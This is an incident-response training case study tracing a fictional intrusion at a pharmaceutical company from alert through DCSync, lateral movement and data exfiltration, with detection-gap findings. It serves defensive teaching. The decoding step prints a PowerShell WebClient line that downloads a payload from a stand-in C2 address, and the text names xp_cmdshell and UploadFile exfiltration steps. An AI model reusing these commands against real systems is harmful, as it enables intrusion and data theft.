Skip to main content

Case Study: CTI as a Code in Practice — LifeTech Pharma

CTI as a Code in Practice — LifeTech Pharma cover

A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.

Originally published on Medium: CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma

All scenario data is fictional

IPs, domains, company names, and individuals are invented for training. Steps 11–12 (sandbox and binary analysis) use a real Cobalt Strike sample (1cf56da3…, 48/75 VT detections) so those steps are reproducible against genuine malware. All other artifacts are synthetic.


What This Case Study Demonstrates

This article applies the full CTI as a Code Methodology to a single incident from first alert through stakeholder deliverables. Every analytical decision is traceable to a log line, every claim is falsifiable, and the entire investigation lives in git.

It is the worked answer to Assignment A01 — Reactive IR: LifeTech Pharma.

Relevant ecosystem links:


The Scenario

An Israeli mid-sized pharmaceutical company — LifeTech Pharma — experiences a targeted intrusion with two independent entry points.

The breach exposes 47 proprietary formula files (~381 MB) protected under an FDA NDA. A $52 million US licensing deal is at risk of collapse.

Dual Entry Points

PathDateTargetVector
Path AOct 22, 2024IT Admin (p.levi)AiTM phishing → token replay → VPN
Path BNov 15, 2024CFO (m.cohen)Macro-enabled Excel attachment (.xlsm)

The CrowdStrike alert that opens the investigation is triggered by Path B. Path A — the actual initial access 24 days earlier — is discovered only during the evidence inventory.


Step 00 — Initialize the Project Structure

Every investigation begins with the same three commands. No analysis until the folder exists.

git clone https://github.com/anpa1200/CTI_as_a_Code.git
cp -r CTI_as_a_Code/templates/reactive-case PROJ-2024-001
cd PROJ-2024-001 && git init && git add . && git commit -m "PROJ-2024-001: initialize case structure"
Project folder structure
The reactive case template creates a consistent, auditable folder structure before any analysis begins.
Folder tree output
The full evidence tree as seen in VS Code Explorer — every log source one click away.

Step 0 — Intake Process

Before touching any log, fill the intake form. It captures constraints that shape every downstream decision.

project.yml metadata form
Completed project.yml — legal hold status, notification deadlines, and evidence retention windows documented before analysis starts.

Key constraints recorded in intake:

  • Legal hold on CFO workstation — memory dump before any remediation
  • PDPA notification deadline — 72 hours from confirmed breach
  • Evidence retention — 90 days minimum; chain of custody required for insurance claim

Scope — assets in scope and out of scope:

Scope document — in-scope assets
In-scope assets: formula files on SERVER-RD-02, IT admin and CFO workstations, Azure AD, VPN gateway. The $52M licensing deal defines the crown jewels.
Scope document — out-of-scope exclusions
Out-of-scope: production pharmacy systems and clinical trial data — legal hold constraints from the FDA prevent unrestricted forensic access.

Priority Intelligence Requirements (PIRs):

PIRs from project.yml
Three PIRs drive the investigation: (1) scope and entry vector, (2) actor attribution, (3) what detection would have caught this. Every claim in the claims ledger maps to one PIR.

Source registry — evidence inventory with Admiralty ratings:

Source registry with Admiralty reliability ratings
Every evidence source rated for reliability (A–F) and credibility (1–6) before analysis. Where a source is absent from a system that should have it, the absence is recorded as a finding — not skipped.

Step R1.5 — Hands-On Evidence Analysis in VS Code

VS Code is the primary analysis tool. One window holds the evidence tree, formatted logs, API calls, and terminal — no context switching.

Opening the evidence folder:

VS Code Explorer showing full evidence tree
One command opens the complete evidence directory as a VS Code workspace. Every JSON, JSONL, CSV, and syslog file is one click away — no context switching between applications.

Setup

Install four extensions (Ctrl+Shift+X):

VS Code extensions installation panel
Rainbow CSV, REST Client, Hex Editor, and Prettier — the four extensions that make VS Code a complete log analysis workstation.

Key shortcuts used throughout:

VS Code keyboard shortcuts reference
Global search (Ctrl+Shift+F), file search (Ctrl+F), JSON outline (Ctrl+Shift+O), and RBQL console (F5) — four shortcuts that replace an entire toolchain.

See the full setup instructions and download links in the technical walkthrough.


1. CrowdStrike Alert — The Entry Point

The investigation opens with a CrowdStrike Critical detection on WS-CFO-01. Press Shift+Alt+F to format the JSON, then Ctrl+Shift+O to open the Outline panel.

CrowdStrike alert outline panel
The Outline panel collapses 1,200 lines of JSON into a navigable tree — four detected behaviors visible at a glance: Execution, C2, Persistence, Credential Access.

Click prevention_policy in the Outline:

Prevention policy detect-only confirmation
"prevent": false — the CFO machine is in detect-only mode. The C2 connection is live. Memory dump before anything else.
Immediate action required

"prevent": false means the C2 beacon is still running. Collect a memory dump via CrowdStrike RTR before starting any further analysis — live memory contains decrypted C2 configuration.


2. Decode the PowerShell Payload

Ctrl+F-Enc in the formatted JSON. Copy the base64 argument, decode in the terminal:

Base64 decode step 1
The encoded PowerShell command is visible in the behaviors[0].cmdline field — one Ctrl+F away from the raw JSON.
Base64 decode step 2 — decoded payload
Decoded output: a WebClient downloading from the C2 IP. The payload URL, User-Agent header, and destination are all visible in plaintext.
echo "JABjAD0ATg..." | base64 -d | iconv -f UTF-16LE -t UTF-8
# → $c=New-Object System.Net.WebClient;$c.Headers.Add('User-Agent','Mozilla/5.0');
# $d=$c.DownloadString('https://203.0.113.87/update')

Decode locally — never paste encoded malware into online decoders. Encoding is a common obfuscation layer; decoding reveals the real C2 endpoint.

PowerShell base64 decoded output
Decoded output: a WebClient DownloadString call to the C2 IP. The full payload URL, User-Agent, and C2 address are visible in one terminal command — no online decoder needed.

Full decode procedure in the technical walkthrough


3. M365 Message Trace — Rainbow CSV

Click m365/message-trace-p.levi.csv in Explorer. Rainbow CSV colorizes every column. Press F5 for the RBQL console.

M365 RBQL results — failed auth
RBQL query: WHERE DMARC == 'fail' — the phishing email to the IT admin lands in the first result row: DMARC fail, DKIM fail, SPF fail, SCL=4, delivered.

Switch to message-trace-m.cohen.csv for the CFO mailbox:

CFO phishing email discovery
The CFO phishing delivery: .xlsm attachment, SCL=4, DMARC fail — same bypass pattern as the IT admin attack 24 days earlier. Same SCL threshold gap, different sender domain.

The ATP SCL threshold gap (INT-007) allowed both emails to deliver. A threshold of 5 permits SCL=4 mail regardless of authentication failures.


4. Azure AD Sign-In Analysis

Azure AD sign-in comparison table
Four sign-in entries extracted with jq. Entry [1] (aad-signin-002) immediately stands out: Istanbul, Conditional Access notApplied, MFA null — three red flags in one row.
Suspicious sign-in detail — Istanbul
The anomalous sign-in: foreign city, CA policy bypassed, no MFA challenge, unknown device OS. All consistent with token replay — MFA was satisfied when the token was originally issued.

The +2h17m gap between the legitimate sign-in (07:14 IST) and the replayed token (09:31 IST) is consistent with an attacker operating from a different time zone, allowing a startup delay before exploitation.

Azure AD token replay detection — full jq extraction and red-flag table


5. VPN Log Analysis

VPN session extraction output
Three log lines tell the full VPN story: attacker authenticates as p.levi from 185.220.101.47 (Istanbul), gets assigned 10.10.3.22 — the IT admin's own internal IP — and holds the session for 1h 12min.

The internal IP assignment (10.10.3.22) is the key finding: all attacker activity inside the network is indistinguishable from the legitimate workstation. No per-session anomaly detection existed.


6. NGFW Log Analysis — Finding the Exfiltration

Click palo-alto/ngfw-flows.csv. Start with the anomaly query — sort by bytes_sent descending:

NGFW Rainbow CSV interface
Rainbow CSV colorizes the 41-column flow log. The LOGMAGNIFIER panel at the bottom shows the full row detail as you navigate.
381 MB exfiltration flow highlighted
Query 1 result — the 381 MB outlier is immediately visible: 17,000× larger than the next largest flow, 99% upload ratio, 312s duration. This is the exfiltration event.
Beacon pattern query results — two external IPs
Query 3 result: two external IPs, completely different profiles. 9 small uniform sessions (~14 KB avg) = C2 beacon. 1 giant session (399 MB) = exfiltration. No ambiguity.
Beacon timing analysis
Query 5 — C2 beacon sessions sorted by time. The 432–452 second intervals (~7.2 minutes) are consistent across both infected hosts — same implant configuration.
Internal lateral movement flows
Query 4 — internal flows only. CFO workstation (10.10.1.45) connects to 10.10.2.20 on port 135 (DCE/RPC) then 49152 (dynamic RPC) — the WMI/DCOM lateral movement signature, 3 hours after CFO compromise.

Switch to dns-queries.csv:

C2 beacon timeline per host
Query 5 — beacon timing from both infected hosts. WS-IT-LEVI began beaconing Nov 1; WS-CFO-01 joined Nov 15. Same C2 domain, same interval. Two hosts, one operator.
Full malware DNS query timeline
Query 6 — all malware-category DNS entries sorted by time. The full attack timeline is visible in DNS alone: AiTM phishing (Oct 22), C2 beaconing (Nov 1), exfil domain lookup (Nov 6), CFO phishing (Nov 15).
Per-host beacon count — two infected hosts
Query 7 — how many hosts query the C2 domain? Two: WS-IT-LEVI (6 queries) and WS-CFO-01 (3 queries). The IT admin host was the initial foothold; the CFO is the second wave 14 days later.
Attacker recon — VPN hostname lookup
Query 8 — external IPs in DNS logs. The attacker IP (185.220.101.47) queried vpn.lifetechpharma.com one minute before the VPN login. Confirms an active human operator, not an automated tool.

All 8 RBQL queries with correct JavaScript syntax — no FROM clause, parseInt() not CAST(), .startsWith() not LIKE


8. Windows Security Events — DCSync

DCSync events extraction
Three EID 4662 events from DC01 in 18 seconds: svc_backup replicated the full domain, then krbtgt, then Administrator. Source IP: 10.10.3.22 — a workstation, not a DC. Golden ticket capability obtained.
SERVER-RD-02 Windows Security events — file access and exfil connection
SERVER-RD-02 security log: 47 formula files accessed via EID 4663, followed by PowerShell EID 5156 connection to 198.51.100.44:443. Three independent sources triangulate to the same 20-second window.

The DCSync gap is the starkest finding: the EID 4662 audit policy was correctly configured, the event reached Splunk, and the data was queryable — but no alert rule existed. A single SPL rule would have contained this incident before the formula exfiltration.

See Step R4 — ATT&CK Mapping for the full gap taxonomy: 7 rule-missing, 3 coverage-incomplete, 1 data-source-missing.


9. Cross-File Pivot — Four Searches, Full Attack Chain

VS Code's Ctrl+Shift+F searches across every open file simultaneously. Four searches navigate the complete attack chain without opening a SIEM.

Global search — exfil IP pivot
Ctrl+Shift+F → 198.51.100.44: four hits across four files — NGFW flow (381 MB), DNS lookup (sys-update-cdn.net resolved), SQL audit (WebClient.UploadFile command), Windows Security EID 5156 (PowerShell connection). One IP, full exfil chain.
Global search — svc_backup pivot
Ctrl+Shift+F → svc_backup: appears in DC01-security (DCSync ×3), SERVER-RD-02-security (SMB logon + file access + exfil connection), and sql-audit (full xp_cmdshell chain). One account, full lateral movement path.
Global search — C2 domain pivot
Ctrl+Shift+F → telemetry-cdn-services.biz: 11 DNS queries across two infected hosts. The domain appears only in dns-queries.csv — not in the VPN log, despite being active during the VPN session.
Global search — attacker source IP pivot
Ctrl+Shift+F → 185.220.101.47: ties together three evidence sources — Azure AD suspicious sign-in, VPN authentication, and the pre-login VPN hostname recon in DNS. One IP, initial access chain complete.
Search termAttack phaseEvidence sources
185.220.101.47Initial access: AiTM, VPN, reconazure-ad, vpn, dns-queries
telemetry-cdn-services.bizPersistence: C2 beaconingdns-queries (2 hosts)
svc_backupLateral movement + DCSyncDC01-security, SERVER-RD-02-security, sql-audit
198.51.100.44Exfiltrationngfw-flows, dns-queries, sql-audit, SERVER-RD-02-security

Attack Chain Summary

Attack chain phase correlation matrix
Four IOCs map the complete attack chain: initial access through credential theft, persistence via C2, lateral movement via a compromised service account, and data exfiltration to a dedicated upload endpoint.

Full Timeline

Complete 18-event investigation timeline
The 18-event timeline reveals the breach started 24 days before the CrowdStrike alert. Every event carries an evidence label (CONFIRMED/CORROBORATED/INFERRED/GAP) and an ATT&CK technique ID.
DateEventEvidence
Oct 18mfa-lifetechpharma.com registeredRDAP (4 days pre-phishing)
Oct 22 11:23AiTM phishing email to p.levi (SCL=4, delivered)M365 ATP
Oct 22 09:31IT admin visits phishing page; token stolenAzure AD, DNS
Oct 22 09:31GAP-001 begins — Sysmon stops on WS-IT-LEVIGAP-001 document
Oct 24 00:17VPN login from Istanbul as p.levi (token replay)VPN log, Azure AD
Nov 1 07:14GAP-001 ends — first C2 beacon to telemetry-cdn-services.bizDNS, NGFW
Nov 6 00:09svc_backup lateral movement to SERVER-RD-02Windows Security
Nov 6 00:13xp_cmdshell chain: stage → exfil → cleanupSQL audit
Nov 6 00:14381 MB formula files uploaded to 198.51.100.44NGFW, EID 5156
Nov 6 00:48DCSync: domain, krbtgt, AdministratorDC01 EID 4662
Nov 15 15:58CFO phishing delivery (.xlsm, SCL=4)M365 ATP
Nov 15 16:42CrowdStrike alert fires — CFO C2 beacon detectedCrowdStrike

ATT&CK Coverage

12 techniques mapped. The full ATT&CK Navigator layer is available for import.

ATT&CK technique mapping table
The ATT&CK mapping table from the investigation. Each row has: technique, evidence source, confidence, whether the rule fired, and the gap type. This drives the detection engineering sprint directly.
ATT&CK infographic
Coverage gap breakdown: 7 rule-missing (data in SIEM, no alert), 3 coverage-incomplete (partial/mis-tuned), 1 data-source-missing (WMI logging not forwarded).
TechniqueGap typeWhat was missing
T1566.001 Phishing attachmentCoverage incompleteATP SCL threshold at 5 instead of 3
T1557 AiTM credential theftRule missingNo impossible-travel / token-replay alert
T1133 VPN with stolen credentialsRule missingNo anomalous VPN geolocation alert
T1078.002 Valid account abuseRule missingNo service account off-hours logon alert
T1059.001 Encoded PowerShellCoverage incompleteIT admin host had Sysmon gap; CFO only detected
T1003.001 LSASS memory accessRule missingSysmon EID 10 not alerted on
T1003.006 DCSyncRule missingEID 4662 in SIEM — no alert rule deployed
T1021.003 DCOM lateral movementRule missingWmiPrvSE parent-child alert not deployed
T1197 BITS downloadRule missingBITS external download not monitored
T1047 WMI executionData source missingWMI logs not forwarded to SIEM
T1070.001 Event log clearedRule missingwevtutil / EID 1102 alert not deployed
T1547.001 Registry Run KeyCoverage incompleteEID 13 in SIEM, no alert on AppData paths

The DCSync gap is the most consequential: the audit policy was correct, the data was in Splunk, but no alert rule existed. A single detection rule on EID 4662 from a non-DC IP would have fired 34 minutes before the formula exfiltration completed.

Step R6 — Detection Rules — the four Sigma rules that change the outcome

Sandbox analysis — the dropper recovered via CrowdStrike RTR is submitted to ANY.RUN for behavioral confirmation. Steps 11–12 of the technical walkthrough use a real Cobalt Strike beacon (1cf56da3…, 48/75 VT detections):

ANY.RUN sandbox submission settings
ANY.RUN submission: Windows 10 x64, Real with IDS network mode, 120-second timeout. The Cobalt Strike beacon contacts C2 within the first minute — confirming the implant is live and the C2 IP is real.

Key Lessons

Evidence labels infographic
Evidence discipline: every claim in the claims ledger carries one of five labels — CONFIRMED, CORROBORATED, INFERRED, HYPOTHESIZED, or GAP. No unlabelled assertions.
Gap types infographic
Gap taxonomy drives remediation effort: Rule missing → sprint item. Coverage incomplete → tuning sprint. Data source missing → infrastructure project. Architectural gap → strategic initiative.

1. Evidence inventory precedes analysis. Discovering that firewall logs have a 14-day retention window before starting the investigation determines which questions can be answered and which cannot.

2. Gaps are findings. The 10-day Sysmon absence on WS-IT-LEVI (GAP-001) is more suspicious than any log it would have contained. The timing — starting the moment the phishing email was opened — is itself evidence of anti-forensics (T1562.001).

3. The alert is never the beginning. The CrowdStrike detection on November 15 was triggered by the second infection. The first compromise happened 24 days earlier via a completely different person. Always run the evidence inventory before accepting the alert timestamp as T0.

4. Competing hypotheses must be addressed explicitly. "svc_backup file access could be a legitimate backup job" is ruled out with a specific reason: backup jobs run from SERVER-WSUS-01 (10.10.4.x), not WS-IT-LEVI; and the timestamp is outside the maintenance window. Not assumed away — falsified.

5. Version control enables compliance. The git commit hash proves what evidence existed when analysis began. This is the chain of custody for the investigation itself.

Claims ledger filled example
The claims ledger converts the timeline into auditable, falsifiable assertions. Each claim answers five questions: what, evidence, confidence, competing hypotheses, which PIR. No unlabelled assertions.

Confidence Assessment

Confidence ladder infographic
Attribution confidence: Medium-High. TTP overlap and infrastructure match present. Independent CERT-IL deconfliction not performed — prevents elevation to High.

Attribution: Single threat actor, dual delivery mechanism. Shared PE compile timestamp (2018-04-09) and shared secondary C2 domain (sys-update-cdn.net) across both implants are inconsistent with two independent actors. Tradecraft (AiTM + DCSync + pharmaceutical IP staging) is consistent with Iranian-nexus industrial espionage. Named cluster attribution is not warranted without CERT-IL deconfliction.

Attribution confidence scoring table
Attribution scored against four criteria: TTP overlap (Yes), infrastructure match (Yes), tooling match (Partial), independent confirmation (No). Result: Medium-High. The missing CERT-IL deconfliction prevents elevation to High.
Completed investigation git history
The git log of a completed PROJ-2024-001 investigation. Every commit is a timestamped audit record: when each analytical step was performed, what was added, and in what order. This is the chain of custody for the investigation itself.

Continue Learning

Next stepLink
Run this investigation yourselfAssignment A01
Step-by-step technical commandsReactive Walkthrough
The methodology behind the stepsCTI as a Code Methodology
Detection rules from this caseStep R6 — Sigma Rules
ATT&CK Navigator layerDownload JSON
Related ecosystem toolsEcosystem Overview
CTI Analyst Field ManualEvidence discipline and analytic standards
Full CTI PortfolioAll projects, repositories, and articles